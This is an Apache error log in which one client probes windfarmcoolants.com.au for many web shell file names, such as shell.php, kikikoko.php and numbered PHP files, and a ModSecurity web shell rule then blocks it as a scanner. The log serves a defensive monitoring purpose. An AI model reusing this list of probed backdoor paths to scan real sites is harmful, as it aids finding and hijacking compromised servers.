[Fri Apr 24 03:54:24.829340 2026] [:error] [pid 53640:tid 53727] [client 20.215.57.60:57872] File does not exist: /usr/local/apache/htdocs/suspended-page/kikikoko.php
[Fri Apr 24 03:54:25.087669 2026] [:error] [pid 53640:tid 53728] [client 20.215.57.60:57872] File does not exist: /usr/local/apache/htdocs/suspended-page/dx.php
[Fri Apr 24 03:54:25.357522 2026] [:error] [pid 53640:tid 53709] [client 20.215.57.60:57872] File does not exist: /usr/local/apache/htdocs/suspended-page/xff.php
[Fri Apr 24 03:54:25.618584 2026] [:error] [pid 53640:tid 53725] [client 20.215.57.60:57872] File does not exist: /usr/local/apache/htdocs/suspended-page/lupo.php
[Fri Apr 24 03:54:25.878087 2026] [:error] [pid 53640:tid 53705] [client 20.215.57.60:57872] File does not exist: /usr/local/apache/htdocs/suspended-page/awa.php
[Fri Apr 24 03:54:26.281306 2026] [:error] [pid 53640:tid 53720] [client 20.215.57.60:57872] File does not exist: /usr/local/apache/htdocs/suspended-page/popo.php
[Fri Apr 24 03:54:39.668322 2026] [:error] [pid 19100:tid 19116] [client 20.215.57.60:29087] File does not exist: /usr/local/apache/htdocs/suspended-page/11.php
[Fri Apr 24 03:54:39.940117 2026] [:error] [pid 19100:tid 19110] [client 20.215.57.60:29087] File does not exist: /usr/local/apache/htdocs/suspended-page/p.php
[Fri Apr 24 03:54:40.205835 2026] [:error] [pid 19100:tid 19127] [client 20.215.57.60:29087] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aep5ALF_hzQs4Cqbiffg2wAAABE"]
[Fri Apr 24 03:54:41.933141 2026] [:error] [pid 19100:tid 19123] [client 20.215.57.60:5836] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aep5AbF_hzQs4Cqbiffg4QAAAA0"]
[Fri Apr 24 03:54:43.146296 2026] [:error] [pid 19100:tid 19125] [client 20.215.57.60:57912] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aep5A7F_hzQs4Cqbiffg6AAAAA8"]
[Fri Apr 24 03:54:45.687024 2026] [:error] [pid 19200:tid 19208] [client 20.215.57.60:19459] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/Requests/"] [unique_id "aep5BTQ--M3-tsKAnhFPTAAAAMA"]
[Fri Apr 24 03:54:46.578418 2026] [:error] [pid 19101:tid 19145] [client 20.215.57.60:16166] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aep5BmAHj9bEvrTgbO2gQgAAAEg"]
[Fri Apr 24 03:54:47.974428 2026] [:error] [pid 19200:tid 19228] [client 20.215.57.60:31601] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aep5BzQ--M3-tsKAnhFPWAAAANQ"]
[Fri Apr 24 03:54:49.669774 2026] [:error] [pid 19200:tid 19209] [client 20.215.57.60:31556] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aep5CTQ--M3-tsKAnhFPYgAAAME"]
[Fri Apr 24 03:54:51.009176 2026] [:error] [pid 19200:tid 19228] [client 20.215.57.60:39345] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bthil.php"] [unique_id "aep5CzQ--M3-tsKAnhFPZwAAANQ"]
[Fri Apr 24 03:54:51.772020 2026] [:error] [pid 19200:tid 19212] [client 20.215.57.60:36184] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aep5CzQ--M3-tsKAnhFPbgAAAMQ"]
[Fri Apr 24 03:54:52.980119 2026] [:error] [pid 19102:tid 19177] [client 20.215.57.60:57906] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aep5DADSgrbLEZbkqD6EwgAAAI0"]
[Fri Apr 24 03:54:54.792950 2026] [:error] [pid 19102:tid 19186] [client 20.215.57.60:31543] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aep5DgDSgrbLEZbkqD6EygAAAJY"]
[Fri Apr 24 03:54:56.692477 2026] [:error] [pid 19101:tid 19139] [client 20.215.57.60:16153] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/shell.php"] [unique_id "aep5EGAHj9bEvrTgbO2gRwAAAEI"]
[Fri Apr 24 03:54:57.744832 2026] [:error] [pid 19100:tid 19110] [client 20.215.57.60:16133] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aep5EbF_hzQs4CqbiffhBwAAAAE"]
[Fri Apr 24 03:54:59.472041 2026] [:error] [pid 19200:tid 19224] [client 20.215.57.60:29080] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aep5EzQ--M3-tsKAnhFPigAAANA"]
[Fri Apr 24 03:55:00.648869 2026] [:error] [pid 19101:tid 19157] [client 20.215.57.60:20493] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aep5FGAHj9bEvrTgbO2gUwAAAFQ"]
[Fri Apr 24 03:55:02.916884 2026] [:error] [pid 19200:tid 19209] [client 20.215.57.60:39375] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/max.php"] [unique_id "aep5FjQ--M3-tsKAnhFPlgAAAME"]
[Fri Apr 24 03:55:04.179657 2026] [:error] [pid 19100:tid 19111] [client 20.215.57.60:39301] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aep5GLF_hzQs4CqbiffhFgAAAAI"]
[Fri Apr 24 03:55:05.240607 2026] [:error] [pid 19200:tid 19215] [client 20.215.57.60:19468] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aep5GTQ--M3-tsKAnhFPngAAAMc"]
[Fri Apr 24 03:55:06.856075 2026] [:error] [pid 19200:tid 19214] [client 20.215.57.60:39312] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aep5GjQ--M3-tsKAnhFPpAAAAMY"]
[Fri Apr 24 03:55:08.287503 2026] [:error] [pid 19200:tid 19227] [client 20.215.57.60:19457] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/seo.php"] [unique_id "aep5HDQ--M3-tsKAnhFPrAAAANM"]
[Fri Apr 24 03:55:09.168632 2026] [:error] [pid 19100:tid 19133] [client 20.215.57.60:49234] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aep5HbF_hzQs4CqbiffhHQAAABc"]
[Fri Apr 24 03:55:10.950043 2026] [:error] [pid 19100:tid 19119] [client 20.215.57.60:41341] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aep5HrF_hzQs4CqbiffhIQAAAAk"]
[Fri Apr 24 03:55:12.935119 2026] [:error] [pid 19100:tid 19124] [client 20.215.57.60:60682] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aep5ILF_hzQs4CqbiffhJwAAAA4"]
[Fri Apr 24 03:55:14.546631 2026] [:error] [pid 19100:tid 19121] [client 20.215.57.60:54127] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "aep5IrF_hzQs4CqbiffhKgAAAAs"]
[Fri Apr 24 03:55:16.131850 2026] [:error] [pid 19200:tid 19229] [client 20.215.57.60:27180] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aep5JDQ--M3-tsKAnhFPwQAAANU"]
[Fri Apr 24 03:55:17.244610 2026] [:error] [pid 19200:tid 19226] [client 20.215.57.60:41234] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aep5JTQ--M3-tsKAnhFPxwAAANI"]
[Fri Apr 24 03:55:18.194650 2026] [:error] [pid 19100:tid 19118] [client 20.215.57.60:58887] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aep5JrF_hzQs4CqbiffhLQAAAAg"]
[Fri Apr 24 03:55:19.403648 2026] [:error] [pid 19102:tid 19187] [client 20.215.57.60:42286] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/8.php"] [unique_id "aep5JwDSgrbLEZbkqD6FDgAAAJc"]
[Fri Apr 24 03:55:20.634467 2026] [:error] [pid 19100:tid 19127] [client 20.215.57.60:24693] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aep5KLF_hzQs4CqbiffhMQAAABE"]
[Fri Apr 24 03:55:21.720325 2026] [:error] [pid 19100:tid 19120] [client 20.215.57.60:30119] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aep5KbF_hzQs4CqbiffhOAAAAAo"]
[Fri Apr 24 03:55:22.931337 2026] [:error] [pid 19100:tid 19134] [client 20.215.57.60:55346] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aep5KrF_hzQs4CqbiffhPAAAABg"]
[Fri Apr 24 03:55:23.651193 2026] [:error] [pid 19101:tid 19150] [client 20.215.57.60:57309] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/1.php"] [unique_id "aep5K2AHj9bEvrTgbO2gcwAAAE0"]
[Fri Apr 24 03:55:24.848829 2026] [:error] [pid 19101:tid 19144] [client 20.215.57.60:48720] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aep5LGAHj9bEvrTgbO2geQAAAEc"]
[Fri Apr 24 03:55:25.840641 2026] [:error] [pid 19100:tid 19126] [client 20.215.57.60:55422] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aep5LbF_hzQs4CqbiffhSQAAABA"]
[Fri Apr 24 03:55:26.833823 2026] [:error] [pid 19200:tid 19220] [client 20.215.57.60:22553] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aep5LjQ--M3-tsKAnhFP6gAAAMw"]
[Fri Apr 24 03:55:28.364875 2026] [:error] [pid 19200:tid 19225] [client 20.215.57.60:61287] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/2.php"] [unique_id "aep5MDQ--M3-tsKAnhFP7wAAANE"]
[Fri Apr 24 03:55:29.325892 2026] [:error] [pid 19200:tid 19208] [client 20.215.57.60:41883] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aep5MTQ--M3-tsKAnhFP9AAAAMA"]
[Fri Apr 24 03:55:30.298501 2026] [:error] [pid 19200:tid 19230] [client 20.215.57.60:48673] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aep5MjQ--M3-tsKAnhFP-wAAANY"]
[Fri Apr 24 03:55:31.532647 2026] [:error] [pid 19102:tid 19177] [client 20.215.57.60:42782] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aep5MwDSgrbLEZbkqD6FMQAAAI0"]
[Fri Apr 24 03:55:34.025874 2026] [:error] [pid 19200:tid 19208] [client 20.215.57.60:25718] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/3.php"] [unique_id "aep5NjQ--M3-tsKAnhFQBgAAAMA"]
[Fri Apr 24 03:55:35.980906 2026] [:error] [pid 19200:tid 19228] [client 20.215.57.60:35114] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aep5NzQ--M3-tsKAnhFQEAAAANQ"]
[Fri Apr 24 03:55:37.126672 2026] [:error] [pid 19200:tid 19223] [client 20.215.57.60:30620] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aep5OTQ--M3-tsKAnhFQGQAAAM8"]
[Fri Apr 24 03:55:38.803967 2026] [:error] [pid 19102:tid 19176] [client 20.215.57.60:45065] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/4.php"] [unique_id "aep5OgDSgrbLEZbkqD6FTQAAAIw"]
[Fri Apr 24 03:55:39.957018 2026] [:error] [pid 19102:tid 19171] [client 20.215.57.60:17780] File does not exist: /usr/local/apache/htdocs/suspended-page/4.php
[Fri Apr 24 03:55:40.239891 2026] [:error] [pid 19102:tid 19166] [client 20.215.57.60:17780] File does not exist: /usr/local/apache/htdocs/suspended-page/5.php
[Fri Apr 24 03:55:40.535102 2026] [:error] [pid 19102:tid 19180] [client 20.215.57.60:17780] File does not exist: /usr/local/apache/htdocs/suspended-page/6.php
[Fri Apr 24 03:55:40.834034 2026] [:error] [pid 19102:tid 19188] [client 20.215.57.60:17780] File does not exist: /usr/local/apache/htdocs/suspended-page/9.php
[Fri Apr 24 03:55:41.125030 2026] [:error] [pid 19102:tid 19170] [client 20.215.57.60:17780] File does not exist: /usr/local/apache/htdocs/suspended-page/10.php
[Fri Apr 24 03:55:41.409910 2026] [:error] [pid 19102:tid 19181] [client 20.215.57.60:17780] File does not exist: /usr/local/apache/htdocs/suspended-page/100.php
[Fri Apr 24 03:55:41.982924 2026] [:error] [pid 19102:tid 19173] [client 20.215.57.60:17780] File does not exist: /usr/local/apache/htdocs/suspended-page/155.php
[Fri Apr 24 03:55:42.350079 2026] [:error] [pid 19102:tid 19178] [client 20.215.57.60:17780] File does not exist: /usr/local/apache/htdocs/suspended-page/2026w.php
[Fri Apr 24 03:55:42.634724 2026] [:error] [pid 19102:tid 19176] [client 20.215.57.60:17780] File does not exist: /usr/local/apache/htdocs/suspended-page/144.php
[Fri Apr 24 03:55:42.924002 2026] [:error] [pid 19102:tid 19186] [client 20.215.57.60:17780] File does not exist: /usr/local/apache/htdocs/suspended-page/xwpg.php
[Fri Apr 24 03:55:43.203777 2026] [:error] [pid 19102:tid 19183] [client 20.215.57.60:17780] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aep5PwDSgrbLEZbkqD6FbgAAAJM"]
[Fri Apr 24 03:55:46.379779 2026] [:error] [pid 19101:tid 19142] [client 20.215.57.60:30595] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aep5QmAHj9bEvrTgbO2gmwAAAEU"]
[Fri Apr 24 03:55:48.216731 2026] [:error] [pid 19200:tid 19217] [client 20.215.57.60:17749] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aep5RDQ--M3-tsKAnhFQTwAAAMk"]
[Fri Apr 24 03:55:49.414190 2026] [:error] [pid 19200:tid 19213] [client 20.215.57.60:25686] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ass.php"] [unique_id "aep5RTQ--M3-tsKAnhFQVwAAAMU"]
[Fri Apr 24 03:55:51.117914 2026] [:error] [pid 19101:tid 19158] [client 20.215.57.60:48207] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aep5R2AHj9bEvrTgbO2gpAAAAFU"]
[Fri Apr 24 03:55:52.197745 2026] [:error] [pid 19200:tid 19229] [client 20.215.57.60:48216] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aep5SDQ--M3-tsKAnhFQaAAAANU"]
[Fri Apr 24 03:55:53.392771 2026] [:error] [pid 19100:tid 19116] [client 20.215.57.60:34149] [client 20.215.57.60] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/about.php"] [unique_id "aep5SbF_hzQs4CqbiffhegAAAAc"]
